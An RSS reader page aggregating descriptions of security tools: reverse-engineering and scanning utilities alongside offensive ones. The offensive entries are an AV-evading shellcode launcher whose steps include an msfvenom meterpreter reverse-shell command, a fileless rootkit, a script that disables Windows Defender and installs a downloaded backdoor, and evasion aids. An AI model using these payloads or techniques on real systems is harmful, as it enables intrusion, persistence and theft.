RSS Security

❌ About FreshRSS
There are new articles available, click to refresh the page.
Before yesterdayFavourites

Kaiju - A Binary Analysis Framework Extension For The Ghidra Software Reverse Engineering Suite

CERT Kaiju is a collection of binary analysis tools for Ghidra.

This is a Ghidra/Java implementation of some features of the CERT Pharos Binary Analysis Framework, particularly the function hashing and malware analysis tools, but is expected to grow new tools and capabilities over time.

As this is a new effort, this implementation does not yet have full feature parity with the original C++ implementation based on ROSE; however, the move to Java and Ghidra has actually enabled some new features not available in the original framework -- notably, improved handling of non-x86 architectures. Since some significant re-architecting of the framework and tools is taking place, and the move to Java and Ghidra enables different capabilities than the C++ implementation, the decision was made to utilize new branding such that there would be less confusion between implementations when discussing the different tools and capabilities.

Our intention for the near future is to maintain both the original Pharos framework as well as Kaiju, side-by-side, since both can provide unique features and capabilities.

CAVEAT: As a prototype, there are many issues that may come up when evaluating the function hashes created by this plugin. For example, unlike the Pharos implementation, Kaiju's function hashing module will create hashes for very small functions (e.g., ones with a single instruction like RET causing many more unintended collisions). As such, analytical results may vary between this plugin and Pharos fn2hash.

Quick Installation

Pre-built Kaiju packages are available. Simply download the ZIP file corresponding with your version of Ghidra and install according to the instructions below. It is recommended to install via Ghidra's graphical interface, but it is also possible to manually unzip into the appropriate directory to install.

CERT Kaiju requires the following runtime dependencies:

NOTE: It is also possible to build the extension package on your own and install it. Please see the instructions under the "Build Kaiju Yourself" section below.

Graphical Installation

Start Ghidra, and from the opening window, select from the menu: File > Install Extension. Click the plus sign at the top of the extensions window, navigate and select the .zip file in the file browser and hit OK. The extension will be installed and a checkbox will be marked next to the name of the extension in the window to let you know it is installed and ready.

The interface will ask you to restart Ghidra to start using the extension. Simply restart, and then Kaiju's extra features will be available for use interactively or in scripts.

Some functionality may require enabling Kaiju plugins. To do this, open the Code Browser then navigate to the menu File > Configure. In the window that pops up, click the Configure link below the "CERT Kaiju" category icon. A pop-up will display all available publicly released Kaiju plugins. Check any plugins you wish to activate, then hit OK. You will now have access to interactive plugin features.

If a plugin is not immediately visible once enabled, you can find the plugin underneath the Window menu in the Code Browser.

Experimental "alpha" versions of future tools may be available from the "Experimental" category if you wish to test them. However these plugins are definitely experimental and unsupported and not recommended for production use. We do welcome early feedback though!

Manual Installation

Ghidra extensions like Kaiju may also be installed manually by unzipping the extension contents into the appropriate directory of your Ghidra installation. For more information, please see The Ghidra Installation Guide.


Kaiju's tools may be used either in an interactive graphical way, or via a "headless" mode more suited for batch jobs. Some tools may only be available for graphical or headless use, by the nature of the tool.

Interactive Graphical Interface

Kaiju creates an interactive graphical interface (GUI) within Ghidra utilizing Java Swing and Ghidra's plugin architecture.

Most of Kaiju's tools are actually Analysis plugins that run automatically when the "Auto Analysis" option is chosen, either upon import of a new executable to disassemble, or by directly choosing Analysis > Auto Analyze... from the code browser window. You will see several CERT Analysis plugins selected by default in the Auto Analyze tool, but you can enable/disable any as desired.

The Analysis tools must be run before the various GUI tools will work, however. In some corner cases, it may even be helpful to run the Auto Analysis twice to ensure all of the metadata is produced to create correct partitioning and disassembly information, which in turn can influence the hashing results.

Analyzers are automatically run during Ghidra's analysis phase and include:

  • DisasmImprovements = improves the function partitioning of the disassembly compared to the standard Ghidra partitioning.
  • Fn2Hash = calculates function hashes for all functions in a program and is used to generate YARA signatures for programs.

The GUI tools include:

  • Function Hash Viewer = a plugin that displays an interactive list of functions in a program and several types of hashes. Analysts can use this to export one or more functions from a program into YARA signatures.
    • Select Window > CERT Function Hash Viewer from the menu to get started with this tool if it is not already visible. A new window will appear displaying a table of hashes and other data. Buttons along the top of the window can refresh the table or export data to file or a YARA signature. This window may also be docked into the main Ghidra CodeBrowser for easier use alongside other plugins. More extensive usage documentation can be found in Ghidra's Help > Contents menu when using the tool.
  • OOAnalyzer JSON Importer = a plugin that can load, parse, and apply Pharos-generated OOAnalyzer results to object oriented C++ executables in a Ghidra project. When launched, the plugin will prompt the user for the JSON output file produced by OOAnalyzer that contains information about recovered C++ classes. After loading the JSON file, recovered C++ data types and symbols found by OOAnalyzer are updated in the Ghidra Code Browser. The plugin's design and implementation details are described in our SEI blog post titled Using OOAnalyzer to Reverse Engineer Object Oriented Code with Ghidra.
    • Select CERT > OOAnalyzer Importer from the menu to get started with this tool. A simple dialog popup will ask you to locate the JSON file you wish to import. More extensive usage documentation can be found in Ghidra's Help > Contents menu when using the tool.

Command-line "Headless" Mode

Ghidra also supports a "headless" mode allowing tools to be run in some circumstances without use of the interactive GUI. These commands can therefore be utilized for scripting and "batch mode" jobs of large numbers of files.

The headless tools largely rely on Ghidra's GhidraScript functionality.

Headless tools include:

  • fn2hash = automatically run Fn2Hash on a given program and export all the hashes to a CSV file specified
  • fn2yara = automatically run Fn2Hash on a given program and export all hash data as YARA signatures to the file specified
  • fnxrefs = analyze a Program and export a list of Functions based on entry point address that have cross-references in data or other parts of the Program

A simple shell launch script named kaijuRun has been included to run these headless commands for simple scenarios, such as outputing the function hashes for every function in a single executable. Assuming the GHIDRA_INSTALL_DIR variable is set, one might for example run the launch script on a single executable as follows:

$GHIDRA_INSTALL_DIR/Ghidra/Extensions/kaiju/kaijuRun fn2hash example.exe

This command would output the results to an automatically named file as example.exe.Hashes.csv.

Basic help for the kaijuRun script is available by running:

$GHIDRA_INSTALL_DIR/Ghidra/Extensions/kaiju/kaijuRun --help

Please see docs/ file in the repository for more information on using this mode and the kaijuRun launcher script.

Further Documentation and Help

More comprehensive documentation and help is available, in one of two formats.

See the docs/ directory for Markdown-formatted documentation and help for all Kaiju tools and components. These documents are easy to maintain and edit and read even from a command line.

Alternatively, you may find the same documentation in Ghidra's built-in help system. To access these help docs, from the Ghidra menu, go to Help > Contents and then select CERT Kaiju from the tree navigation on the left-hand side of the help window.

Please note that the Ghidra Help documentation is the exact same content as the Markdown files in the docs/ directory; thanks to an in-tree gradle plugin, gradle will automatically parse the Markdown and export into Ghidra HTML during the build process. This allows even simpler maintenance (update docs in just one place, not two) and keeps the two in sync.

All new documentation should be added to the docs/ directory.

Building Kaiju Yourself Using Gradle

Alternately to the pre-built packages, you may compile and build Kaiju yourself.

Build Dependencies

CERT Kaiju requires the following build dependencies:

  • Ghidra 9.1+ (9.2+ recommended)
  • gradle 6.4+ (latest gradle 6.x recommended, 7.x not supported)
  • GSON 2.8.6
  • Java 11+ (we recommend OpenJDK 11)

NOTE ABOUT GRADLE: Please ensure that gradle is building against the same JDK version in use by Ghidra on your system, or you may experience installation problems.

NOTE ABOUT GSON: In most cases, Gradle will automatically obtain this for you. If you find that you need to obtain it manually, you can download gson-2.8.6.jar and place it in the kaiju/lib directory.

Build Instructions

Once dependencies are installed, Kaiju may be built as a Ghidra extension by using the gradle build tool. It is recommended to first set a Ghidra environment variable, as Ghidra installation instructions specify.

In short: set GHIDRA_INSTALL_DIR as an environment variable first, then run gradle without any options:

export GHIDRA_INSTALL_DIR=<Absolute path to Ghidra install dir>

NOTE: Your Ghidra install directory is the directory containing the ghidraRun script (the top level directory after unzipping the Ghidra release distribution into the location of your choice.)

If for some reason your environment variable is not or can not be set, you can also specify it on the command like with:

gradle -PGHIDRA_INSTALL_DIR=<Absolute path to Ghidra install dir>

In either case, the newly-built Kaiju extension will appear as a .zip file within the dist/ directory. The filename will include "Kaiju", the version of Ghidra it was built against, and the date it was built. If all goes well, you should see a message like the following that tells you the name of your built plugin.

Created in <path/to>/kaiju/dist

where X.Y.Z is the version of Ghidra you are using, and YYYYMMDD is the date you built this Kaiju extension.

Optional: Running Tests With AUTOCATS

While not required, you may want to use the Kaiju testing suite to verify proper compilation and ensure there are no regressions while testing new code or before you install Kaiju in a production environment.

In order to run the Kaiju testing suite, you will need to first obtain the AUTOCATS (AUTOmated Code Analysis Testing Suite). AUTOCATS contains a number of executables and related data to perform tests and check for regressions in Kaiju. These test cases are shared with the Pharos binary analysis framework, therefore AUTOCATS is located in a separate git repository.

Clone the AUTOCATS repository with:

git clone

We recommend cloning the AUTOCATS repository into the same parent directory that holds Kaiju, but you may clone it anywhere you wish.

The tests can then be run with:

gradle -PKAIJU_AUTOCATS_DIR=path/to/autocats/dir test

where of course the correct path is provided to your cloned AUTOCATS repository directory. If cloned to the same parent directory as Kaiju as recommended, the command would look like:

gradle -PKAIJU_AUTOCATS_DIR=../autocats test

The tests cannot be run without providing this path; if you do forget it, gradle will abort and give an error message about providing this path.

Kaiju has a dependency on JUnit 5 only for running tests. Gradle should automatically retrieve and use JUnit, but you may also download JUnit and manually place into lib/ directory of Kaiju if needed.

You will want to run the update command whenever you pull the latest Kaiju source code, to ensure they stay in sync.

First-Time "Headless" Gradle-based Installation

If you compiled and built your own Kaiju extension, you may alternately install the extension directly on the command line via use of gradle. Be sure to set GHIDRA_INSTALL_DIR as an environment variable first (if you built Kaiju too, then you should already have this defined), then run gradle as follows:

export GHIDRA_INSTALL_DIR=<Absolute path to Ghidra install dir>
gradle install

or if you are unsure if the environment variable is set,

gradle -PGHIDRA_INSTALL_DIR=<Absolute path to Ghidra install dir> install

Extension files should be copied automatically. Kaiju will be available for use after Ghidra is restarted.

NOTE: Be sure that Ghidra is NOT running before using gradle to install. We are aware of instances when the caching does not appear to update properly if installed while Ghidra is running, leading to some odd bugs. If this happens to you, simply exit Ghidra and try reinstalling again.

Consider Removing Your Old Installation First

It might be helpful to first completely remove any older install of Kaiju before updating to a newer release. We've seen some cases where older versions of Kaiju files get stuck in the cache and cause interesting bugs due to the conflicts. By removing the old install first, you'll ensure a clean re-install and easy use.

The gradle build process now can auto-remove previous installs of Kaiju if you enable this feature. To enable the autoremove, add the "KAIJU_AUTO_REMOVE" property to your install command, such as (assuming the environment variable is probably set as in previous section):

gradle -PKAIJU_AUTO_REMOVE install

If you'd prefer to remove your old installation manually, perform a command like:

rm -rf $GHIDRA_INSTALL_DIR/Extensions/Ghidra/*kaiju*.zip $GHIDRA_INSTALL_DIR/Ghidra/Extensions/kaiju

HookDump - Security Product Hook Detection

EDR function hook dumping

Please refer to the Zeroperil blog post for more information

Building source
  • In order to build this you will need Visual Studio 2019 (community edition is fine) and CMake. The batch file Configure.bat will create two build directories with Visual Studio solutions.
  • The project may build with MinGW with the correct CMake command line, this is untested YMMV.
  • There is a dependency on zydis disassembler, so be sure to update the sub-modules in git before configuring the project.
  • There is a 32bit and 64bit project, you may find that EDR's hook different functions in 32/64 bit so building and running both executables may provide more complete results

  • Some EDRs replace the WOW stub in the TEB structure (specifically Wow32Reserved) in order to hook system calls for 32 bit binaries. In this case you may see zero hooks since no jump instructions are present in NTDLL. Most likley you will see hooks in the x64 version as the syscall instruction is used for system calls instead of a WOW stub
  • We have noted that Windows Defender does not use any user mode hooks
  • This tool is designed to be run as a standard user, elevation is not required

Hook Types Detected


A jump instruction has been patched into the function to redirect execution flow


Detection of the WOW64 syscall stub being hooked, which allows filtering of all system calls


The address in the export address table does not match the address in the export address table in the copy on disc


GetProcAddress hook, an experimental feature, this is only output in verbose mode, when the result of GetProcAddress does not match the manually resolved function address. YYMV with this and some care should be taken to verify the results.


The only way to truly verify the correct working of the program is to check in a debugger if hooks are present. If you are getting a zero hooks result and are expecting to see something different, then first verify this in a debugger and please get in touch.

Php_Code_Analysis - San your PHP code for vulnerabilities

This script will scan your code

the script can find

  1. check_file_upload issues
  2. host_header_injection
  3. SQl injection
  4. insecure deserialization
  5. open_redirect
  6. SSRF
  7. XSS
  8. LFI
  9. command_injection

  1. fast
  2. simple report

python <file name> >>> this will scan one file
python >>> this will scan full folder (.)
python <path> >>> scan full folder

Charlotte - C++ Fully Undetected Shellcode Launcher

c++ fully undetected shellcode launcher ;)

releasing this to celebrate the birth of my newborn



  1. c++ shellcode launcher, fully undetected 0/26 as of 13th May 2021.
  2. dynamic invoking of win32 api functions
  3. XOR encryption of shellcode and function names
  4. randomised XOR keys and variables per run
  5. on Kali Linux, simply 'apt-get install mingw-w64*' and thats it!


  1. random strings length and XOR keys length


git clone the repository, generate your shellcode file with the naming beacon.bin, and run


  1. git clone && apt-get install mingw-w64*
  2. cd charlotte
  3. msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin
  4. python
  5. profit

tested with msfvenom -p (shown in the .gif POC below) and also cobalt strike raw format payload

update v1.1


apparently Microsoft Windows Defender was able to detect the .DLL binary,

and how did they flag it? by looking for several XOR keys of 16 byte size

changing it to 9 shown in the POC .gif below shows it is now undetected again


R77-Rootkit - Fileless Ring 3 Rootkit With Installer And Persistence That Hides Processes, Files, Network Connections, Etc...

Ring 3 rootkit

r77 is a ring 3 Rootkit that hides following entities from all processes:

  • Files, directories, junctions, named pipes, scheduled tasks
  • Processes
  • CPU usage
  • Registry keys & values
  • Services
  • TCP & UDP connections

It is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.

Hiding by prefix

All entities where the name starts with "$77" are hidden.

Configuration System

The dynamic configuration system allows to hide processes by PID and by name, file system items by full path, TCP & UDP connections of specific ports, etc.

The configuration is stored in HKEY_LOCAL_MACHINE\SOFTWARE\$77config and is writable by any process without elevated privileges. The DACL of this key is set to grant full access to any user.

The $77config key is hidden when RegEdit is injected with the rootkit.


r77 is deployable using a single file "Install.exe". It installs the r77 service that starts before the first user is logged on. This background process injects all currently running processes, as well as processes that spawn later. Two processes are needed to inject both 32-bit and 64-bit processes. Both processes are hidden by ID using the configuration system.

Uninstall.exe removes r77 from the system and gracefully detaches the rootkit from all processes.

Child process hooking

When a process creates a child process, the new process is injected before it can run any of its own instructions. The function NtResumeThread is always called when a new process is created. Therefore, it's a suitable target to hook. Because a 32-bit process can spawn a 64-bit child process and vice versa, the r77 service provides a named pipe to handle child process injection requests.

In addition, there is a periodic check every 100ms for new processes that might have been missed by child process hooking. This is necessary because some processes are protected and cannot be injected, such as services.exe.

In-memory injection

The rootkit DLL (r77-x86.dll and r77-x64.dll) can be injected into a process from memory and doesn't need to be stored on the disk. Reflective DLL injection is used to achieve this. The DLL provides an exported function that when called, loads all sections of the DLL, handles dependency loading and relocations, and finally calls DllMain.

Fileless persistence

The rootkit resides in the system memory and does not write any files to the disk. This is achieved in multiple stages.

Stage 1: The installer creates two scheduled tasks for the 32-bit and the 64-bit r77 service. A scheduled task does require a file, named $77svc32.job and $77svc64.job to be stored, which is the only exception to the fileless concept. However, scheduled tasks are also hidden by prefix once the rootkit is running.

The scheduled tasks start powershell.exe with following command line:


The command is inline and does not require a .ps1 script. Here, the .NET Framework capabilities of PowerShell are utilized in order to load a C# executable from the registry and execute it in memory. Because the command line has a maximum length of 260 (MAX_PATH), there is only enough room to perform a simple Assembly.Load().EntryPoint.Invoke().

Stage 2: The executed C# binary is the stager. It will create the r77 service processes using process hollowing. The r77 service is a native executable compiled in both 32-bit and 64-bit separately. The parent process is spoofed and set to winlogon.exe for additional obscurity. In addition, the two processes are hidden by ID and are not visible in the task manager.

No executables or DLL's are ever stored on the disk. The stager is stored in the registry and loads the r77 service executable from its resources.

The PowerShell and .NET dependencies are present in a fresh installation of Windows 7 and Windows 10. Please review the documentation for a complete description of the fileless initialization.


Detours is used to hook several functions from ntdll.dll. These low-level syscall wrappers are called by any WinAPI or framework implementation.

  • NtQuerySystemInformation
  • NtResumeThread
  • NtQueryDirectoryFile
  • NtQueryDirectoryFileEx
  • NtEnumerateKey
  • NtEnumerateValueKey
  • EnumServiceGroupW
  • EnumServicesStatusExW
  • NtDeviceIoControlFile

The only exception is advapi32.dll. Two functions are hooked to hide services. This is because the actual service enumeration happens in services.exe, which cannot be injected.

Test environment

The Test Console can be used to inject r77 to or detach r77 from individual processes.

Technical Documentation

Please read the technical documentation to get a comprehensive and full overview of r77 and its internals, and how to deploy and integrate it.

Project Page

Defeat-Defender - Powerful Batch Script To Dismantle Complete Windows Defender Protection And Even Bypass Tamper Protection

15 April 2021 at 21:30
By: Zion3R

Powerfull Batch File To Disable Windows Defender,Firewall,Smartscreen And Execute the payload

Usage :
  1. Edit Defeat-Defender.bat on this line and replace the direct url of your payload
  2. Run the script "run.vbs" . It will ask for Admin Permission.If permission Granted The script will work Silently without console windows...

After it got admin permission it will disable defender
  1. PUAProtection
  2. Automatic Sample Submission
  3. Windows FireWall
  4. Windows Smart Screen(Permanently)
  5. Disable Quickscan
  6. Add exe file to exclusions in defender settings
  7. Disable Ransomware Protection

Virus Total Result :

Bypasssing Windows-Defender Techniques :

Recently Windows Introduced new Feature called "Tamper Protection".Which Prevents the disable of real-time protection and modifying defender registry keys using powershell or cmd...If you need to disable real-time protection you need to do manually....But We will disable Real Time Protection using NSudo without trigerring Windows Defender

After Running Defeat-Defender Script

Tested on Windows Version 20H2

Behind The Scenes :

When Batch file is executed it ask for admin permissions.After getting admin privileage it starts to disable windows defender real time protectin , firewall , smartscreen and starts downloading our backdoor from server and it will placed in startup folder.The backdoor will be executed after it has downloaded from server..And will be started whenever system starts..

Check out this article :

Scylla - The Simplistic Information Gathering Engine | Find Advanced Information On A Username, Website, Phone Number, Etc...

6 April 2021 at 12:30
By: Zion3R

Scylla is an OSINT tool developed in Python 3.6. Scylla lets users perform advanced searches on Instagram & Twitter accounts, websites/webservers, phone numbers, and names. Scylla also allows users to find all social media profiles (main platforms) assigned to a certain username. In continuation, Scylla has shodan support so you can search for devices all over the internet, it also has in-depth geolocation capabilities. Lastly, Scylla has a finance section which allows users to check if a credit/debit card number has been leaked/pasted in a breach and returns information on the cards IIN/BIN. This is the first version of the tool so please contact the developer if you want to help contribute and add more to Scylla.


1: git clone
2: cd Scylla
3: sudo python3 -m pip install -r requirments.txt
4: python3 --help

  1. python3 --instagram davesmith --twitter davesmith
    Command 1 will return account information of that specified Instagram & Twitter account.
  2. python3 --username johndoe
    Command 2 will return all the social media (main platforms) profiles associated with that username.
  3. python3 --username johndoe -l="john doe"
    Command 3 will repeat command 2 but instead it will also perform an in-depth google search for the "-l" argument. NOTE: When searching a query with spaces make sure you add the equal sign followed by the query in quotations. If your query does not have spaces, it will be as such: python3 --username johndoe -l query
  4. python3 --info
    Command 4 will return crucial WHOIS information about the webserver/website.
  5. python3 -r +14167777777
    Command 5 will dump information on that phone number (Carrier, Location, etc.)
  6. python3 -s apache
    Command 6 will dump all the IP address of apache servers that shodan can grab based on your API key. The query can be anything that shodan can validate.
    A Sample API key is given. I will recommend reading API NOTICE below, for more information.
  7. python3 -s webcamxp
    Command 7 will dump all the IP addresses and ports of open webcams on the internet that shodan can grab based on your API key. You can also just use the webcam query but webcamxp returns better results.
    A Sample API key is given. I will recommend reading API NOTICE below, for more information.
  8. python3 -g
    Command 8 will geolocate the specified IP address. It will return the longitude & latitude, city, state/province, country, zip/postal code region and the district.
  9. python3 -c 123456789123456
    Command 9 will retrieve information on the IIN of the credit/debit card number entered. It will also check if the card number has been leaked/pasted in a breach. Scylla will return the card brand, card scheme, card type, currency, country, and information on the bank of that IIN. NOTE: Enter the full card number if you will like to see if it was leaked. If you just want to check data on the first 6-8 digits (a.k.a the BIN/IIN number) just input the first 6,7 or 8 digits of the credit/debit card number. Lastly, all this information generated is public because this is an OSINT tool, and no revealing details can be generated. This prevents malicous use of this option.

usage: [-h] [-v] [-ig INSTAGRAM] [-tw TWITTER] [-u USERNAME]

optional arguments:
-h, --help show this help message and exit
-v, --version returns scyla's version
-ig INSTAGRAM, --instagram INSTAGRAM
return the information associated with specified
instagram account
-tw TWITTER, --twitter TWITTER
return the information associated with specified
twitter account
-u USERNAME, --username USERNAME
find social media profiles (main platforms) associated
with given username
--info INFO return information about the specified website(WHOIS)
w/ geolocation
return information about the specified phone number
(reverse lookup)
-l LOOKUP, --lookup LOOKUP
performs a google search of the 35 top items for the
argument given
-s SHODAN_QUERY, --shodan_query SHODAN_QUERY
performs a an in-depth shodan search on any simple
query (i.e, 'webcamxp', 'voip', 'printer', 'apache')
-g GEO, --geo GEO geolocates a given IP address. provides: longitude,
latitude, city, country, zipcode, district, etc.
-c CARD_INFO, --card_info CARD_INFO
check if the credit/debit card number has been pasted
in a breach...dumps sites. Also returns bank
information on the IIN


The API used for the reverse phone number lookup (free package) has maximum 250 requests. The one used in the program right now will most definetely run out of uses in the near future. If you want to keep generating API keys, go to, and select the free plan after creating an account. Then simply go and replace the original API key with your new API key found in your account dashboard. Insert your new key into the keys[] array (at the top of the source). For the Shodan API key, it is just a sample key given to the program. The developer recommends creating a shodan account and adding your own API key to the shodan_api[] array at the top of the source (

Discord Server

Ethical Notice

The developer of this program, Josh Schiavone, written the following code for educational and OSINT purposes only. The information generated is not to be used in a way to harm, stalk or threaten others. Josh Schiavone is not responsible for misuse of this program. May God bless you all.

DefenderCheck - Identifies The Bytes That Microsoft Defender Flags On

3 April 2021 at 20:30
By: Zion3R

Quick tool to help make evasion work a little bit easier.

Takes a binary as input and splits it until it pinpoints that exact byte that Microsoft Defender will flag on, and then prints those offending bytes to the screen. This can be helpful when trying to identify the specific bad pieces of code in your tool/payload.

Note: Defender must be enabled on your system, but the realtime protection and automatic sample submission features should be disabled.

CallObfuscator - Obfuscate Specific Windows Apis With Different APIs

28 March 2021 at 11:30
By: Zion3R

Obfuscate (hide) the PE imports from static/dynamic analysis tools.


This's pretty forward, let's say I've used VirtualProtect and I want to obfuscate it with Sleep, the tool will manipulate the IAT so that the thunk that points to VirtualProtect will point instead to Sleep, now at executing the file, windows loader will load Sleep instead of VirtualProtect, and moves the execution to the entry point, from there the execution will be redirected to the shellcode, the tool put before, to find the address of VirtualProtect and use it to replace the address of Sleep which assigned before by the loader.

How to use
  • It can be included directly as a library, see the following snippet (based on the example), also you can take a look at cli.cpp.
#include <cobf.hpp>

int main() {
cobf obf_file = cobf("sample.exe");
obf_file.obf_sym("kernel32.dll", "SetLastError", "Beep");
obf_file.obf_sym("kernel32.dll", "GetLastError", "GetACP");
return 0;
  • Also can be used as a command line tool by supplying it with the input PE path, the output PE path and optionally the path to the configuration file (default is config.ini).
    cobf.exe <input file> <out file> [config file]
    The config file contains the obfuscations needed (dlls, symbols, ...).
    Here is a template for the config file content
; Template for the config file:
; * Sections can be written as:
; [dll_name]
; old_sym=new_sym
; * The dll name is case insensitive, but
; the old and the new symbols are not.
; * You can use the wildcard on both the
; dll name and the old symbol.
; * You can use '#' at the start of
; the old or the new symbol to flag
; an ordinal.
; * The new symbol should be exported
; by the dll so the windows loader can resolve it.
; For example:
; * Obfuscating all of the symbols
; imported from user32.dll with ordinal 1600.
; * Obfuscating symbols imported from both
; kernel32.dll and kernelbase.dll with Sleep.
; * Obfuscating fprintf with exit.


Build this code sample

#include <windows.h>
#include <stdio.h>

int main() {
printf("Last error is %d\n", GetLastError());
return 0;

After building it, this is how the kernel32 imports look like

Now let's obfuscate both SetLastError and GetLastError with Beep and GetACP (actually any api from kernel32 will be ok even if it's not imported at all).
The used configurations are


Here is the output (also you can use the library directly as shown above).

Again let's have a look on the kernel32 imports

There's no existence of SetLastError or GetLastError
A confirmation that two files will work properly


IDA HexRays Decompiler

IDA Debugger





That's because all of the static analysis tool depend on what is the api name written at IAT which can be manipulated as shown.
For ApiMonitor, because of using IAT hooking, the same problem exists.

On the other side, for tools like x64dbg the shown api names will only depend on what is actually called (not what written at the IAT).

  • Dumping the obfuscated PE out from memory won't deobfuscate it, because the manipulated IAT will be the same.
  • The main purpose for this tool is to mess up with the analysis process (make it slower).
  • One can obfuscate any imported symbol (by name or by ordinal) with another symbol (name or ordinal).
  • The shellcode is executed as the first tls callback to process the obfuscated symbols needed by the other tls callbacks before the entry point is executed.
  • The shellcode is shipped as c code, generated when the tool is compiled to facilitate editing it.
  • The obfuscated symbols names are being resolved by hash not by name directly.
  • The tool disables the relocations and strips any of the debug symbols.
  • The tool creates a new rwx section named .cobf for holding the shellcode and the other needed datas.
  • It can be used multiple times on the same obfuscated PE.
  • Tested only on Windows 10 x64.
  • Get source with git clone
  • Download binaries from the Release Section.

  • Shellcode obfuscation (probably with obfusion).
  • Support the delay-loaded symbols.
  • Minimize the created section size.
  • Compile time hashing.
  • Better testing.

Retoolkit - Reverse Engineer's Toolkit

26 March 2021 at 11:30
By: Zion3R

This is a collection of tools you may like if you are interested on reverse engineering and/or malware analysis on x86 and x64 Windows systems. After installing this toolkit you'll have a folder in your desktop with shortcuts to RE tools like these:

Why do I need it?

You don't. Obviously, you can download such tools from their own website and install them by yourself in a new VM. But if you download retoolkit, it can probably save you some time. Additionally, the tools come pre-configured so you'll find things like x64dbg with a few plugins, command-line tools working from any directory, etc. You may like it if you're setting up a new analysis VM.


The *.iss files you see here are the source code for our setup program built with Inno Setup. To download the real thing, you have to go to the Releases section and download the setup program.

Included tools

Check the wiki.

Is it safe to install it in my environment?

I don't know. Some included tools are not open source and come from shady places. You should use it exclusively in virtual machines and under your own responsibility.

Can you add tool X?

It depends. The idea is to keep it simple. We won't add a tool just because it's not here yet. But if you think there's a good reason to do so, and the license allows us to redistribuite the software, please file a request here.

Confused - Tool To Check For Dependency Confusion Vulnerabilities In Multiple Package Management Systems

15 March 2021 at 20:30
By: Zion3R

A tool for checking for lingering free namespaces for private package names referenced in dependency configuration for Python (pypi) requirements.txt, JavaScript (npm) package.json, PHP (composer) composer.json or MVN (maven) pom.xml.

What is this all about?

On 9th of February 2021, a security researcher Alex Birsan published an article that touched different resolve order flaws in dependency management tools present in multiple programming language ecosystems.

Microsoft released a whitepaper describing ways to mitigate the impact, while the root cause still remains.

Interpreting the tool output

confused simply reads through a dependency definition file of an application and checks the public package repositories for each dependency entry in that file. It will proceed to report all the package names that are not found in the public repositories - a state that implies that a package might be vulnerable to this kind of attack, while this vector has not yet been exploited.

This however doesn't mean that an application isn't already being actively exploited. If you know your software is using private package repositories, you should ensure that the namespaces for your private packages have been claimed by a trusted party (typically yourself or your company).

Known false positives

Some packaging ecosystems like npm have a concept called "scopes" that can be either private or public. In short it means a namespace that has an upper level - the scope. The scopes are not inherently visible publicly, which means that confused cannot reliably detect if it has been claimed. If your application uses scoped package names, you should ensure that a trusted party has claimed the scope name in the public repositories.


./confused [-l LANGUAGENAME] depfilename.ext

Usage of ./confused:
-l string
Package repository system. Possible values: "pip", "npm", "composer", "mvn" (default "npm")
-s string
Comma-separated list of known-secure namespaces. Supports wildcards
-v Verbose output


Python (PyPI)
./confused -l pip requirements.txt

Issues found, the following packages are not available in public package repositories:
[!] internal_package1

JavaScript (npm)
./confused -l npm package.json

Issues found, the following packages are not available in public package repositories:
[!] internal_package1
[!] @mycompany/internal_package1
[!] @mycompany/internal_package2

# Example when @mycompany private scope has been registered in npm, using -s
./confused -l npm -s '@mycompany/*' package.json

Issues found, the following packages are not available in public package repositories:
[!] internal_package1

Maven (mvn)
./confused -l mvn pom.xml

Issues found, the following packages are not available in public package repositories:
[!] internal
[!] internal/package1
[!] internal/_package2

DLLHSC - DLL Hijack SCanner A Tool To Assist With The Discovery Of Suitable Candidates For DLL Hijacking

15 March 2021 at 11:30
By: Zion3R

DLL Hijack SCanner - A tool to generate leads and automate the discovery of candidates for DLL Search Order Hijacking

Contents of this repository

This repository hosts the Visual Studio project file for the tool (DLLHSC), the project file for the API hooking functionality (detour), the project file for the payload and last but not least the compiled executables for x86 and x64 architecture (in the release section of this repo). The code was written and compiled with Visual Studio Community 2019.

If you choose to compile the tool from source, you will need to compile the projects DLLHSC, detour and payload. The DLLHSC implements the core functionality of this tool. The detour project generates a DLL that is used to hook APIs. And the payload project generates the DLL that is used as a proof of concept to check if the tested executable can load it via search order hijacking. The generated payload has to be placed in the same directory with DLLHSC and detour named payload32.dll for x86 and payload64.dll for x64 architecture.

Modes of operation

The tool implements 3 modes of operation which are explained below.

Lightweight Mode

Loads the executable image in memory, parses the Import table and then replaces any DLL referred in the Import table with a payload DLL.

The tool places in the application directory only a module (DLL) the is not present in the application directory, does not belong to WinSxS and does not belong to the KnownDLLs.

The payload DLL upon execution, creates a file in the following path: C:\Users\%USERNAME%\AppData\Local\Temp\DLLHSC.tmp as a proof of execution. The tool launches the application and reports if the payload DLL was executed by checking if the temporary file exists. As some executables import functions from the DLLs they load, error message boxes may be shown up when the provided DLL fails to export these functions and thus meet the dependencies of the provided image. However, the message boxes indicate the DLL may be a good candidate for payload execution if the dependencies are met. In this case, additional analysis is required. The title of these message boxes may contain the strings: Ordinal Not Found or Entry Point Not Found. DLLHSC looks for windows that contain these strings, closes them as soon as they shown up and reports the results.

List Modules Mode

Creates a process with the provided executable image, enumerates the modules that are loaded in the address space of this process and reports the results after applying filters.

The tool only reports the modules loaded from the System directory and do not belong to the KnownDLLs. The results are leads that require additional analysis. The analyst can then place the reported modules in the application directory and check if the application loads the provided module instead.

Run-Time Mode

Hooks the LoadLibrary and LoadLibraryEx APIs via Microsoft Detours and reports the modules that are loaded in run-time.

Each time the scanned application calls LoadLibrary and LoadLibraryEx, the tool intercepts the call and writes the requested module in the file C:\Users\%USERNAME%\AppData\Local\Temp\DLLHSCRTLOG.tmp. If the LoadLibraryEx is specifically called with the flag LOAD_LIBRARY_SEARCH_SYSTEM32, no output is written to the file. After all interceptions have finished, the tool reads the file and prints the results. Of interest for further analysis are modules that do not exist in the KnownDLLs registry key, modules that do not exist in the System directory and modules with no full path (for these modules loader applies the normal search order).

Compile and Run Guidance

Should you choose to compile the tool from source it is recommended to do so on Visual Code Studio 2019. In order the tool to function properly, the projects DLLHSC, detour and payload have to be compiled for the same architecture and then placed in the same directory. Please note that the DLL generated from the project payload has to be renamed to payload32.dll for 32-bit architecture or payload64.dll for 64-bit architecture.

Help menu

The help menu for this application

dllhsc - DLL Hijack SCanner

dllhsc.exe -h

dllhsc.exe -e <executable image path> (-l|-lm|-rt) [-t seconds]

DLLHSC scans a given executable image for DLL Hijacking and reports the results

It requires elevated privileges

-h, --help
display this help menu and exit

-e, --executable-image
executable image to scan

-l, --lightweight
parse the import table, attempt to launch a payload and report the results

-lm, --list-modules
